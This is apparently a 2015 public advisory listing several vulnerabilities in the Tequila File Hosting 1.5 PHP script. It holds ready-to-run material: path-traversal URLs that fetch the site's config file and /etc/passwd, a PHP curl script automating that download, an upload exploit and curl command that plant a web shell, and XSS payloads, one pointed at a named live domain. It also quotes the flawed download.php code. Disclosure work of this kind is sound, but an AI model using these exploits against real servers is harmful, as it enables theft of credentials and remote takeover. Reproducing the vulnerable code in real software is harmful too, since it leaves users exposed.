Tequila File Hosting 1.5 – Multiple Vulnerabilities
================================================================================ Tequila File Hosting Arbitrary File Download ================================================================================ # Vendor Homepage: http://codecanyon.net/item/tequila-file-hosting-script/7604312 # Date: 16/12/2015 # Author: Ashiyane Digital Security Team # Version: 1.5 # Contact: hehsan979@gmail.com # Source: http://ehsansec.ir/advisories/tequila-disclose.txt ================================================================================ # Description: Tequila is a solid, safe, fast, simple and intuitive script which allows companies or individuals to upload, manage and share their files online. It is studied in every feature and was produced with attention to every detail. # PoC : # Download Config http://localhost/tequila/download.php?download.php?filename=files/../include/php/constants.php&name=file.php # Download passwd http://localhost/tequila/download.php?filename=files/../../../../../etc/passwd&name=passwd # (PHP Exploit): <?php // page : download.php echo "Tequila File Hosting Arbitrary File Download Exploiter\n"; echo "Discoverd By Ehsan Hosseini\n\n\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://SERVER/download.php?filename=files/../include/php/constants.php&name=file.php"); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); $buf = curl_exec ($ch); curl_close($ch); unset($ch); echo $buf; ?> # Vulnerabile code: <?php //This script forces the download of the file //Retrieving the file name from the querystring //and the stepping stone path to the download folder $fn = (isset($_GET['filename']) ? $_GET['filename'] : false); $file = $fn; $sn = (isset($_GET['name']) ? $_GET['name'] : false); $secure_name = $sn; if (strpos($file, "files/") !== false) { $checkdownload = "true"; } else { $checkdownload = "false"; } //I verify that the file exists if($checkdownload == "true"){ if (!file_exists($file)) { //If there is mold an error echo "The file does not exist!"; } else { //If the file exists ... //Imposed on the header of the page to force the download of the file header("Cache-Control: public"); header("Content-Description: File Transfer"); header('Content-Type: application/zip'); header("Content-Disposition: attachment; filename= " . $secure_name); header("Content-Transfer-Encoding: binary"); header('Connection: Keep-Alive'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); //I read the contents of the file readfile($file); exit; } } ?> ####################################################################### ================================================================================ Tequila File Hosting Unrestricted File Upload ================================================================================ # PoC : First register in the site===> http://localhost/tequila/register.php Next using this exploit : <?php // page : upload.php $postData = array('folder' => '/username', 'file' => '@shell.php'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://localhost/tequila/upload.php"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData ); $buf = curl_exec ($ch); curl_close($ch); unset($ch); echo $buf; ?> or curl -i -F folder='/ehsann' -F file=@ehsan.png http://localhost/tequila/upload.php Sheller uploaded. Path of shell : http://localhost/tequila/files/username/shell.php ####################################################################### ================================================================================ Tequila File Hosting Coss Site Scripting ================================================================================ # PoC : http://localhost/files.php?folder="><script>alert('Ehsan')</script> http://easyhost.me/file.php?file="><script>alert('Ehsan')</script> ================================================================================ # Discovered By : Ehsan Hosseini (EhsanSec.ir) ================================================================================ |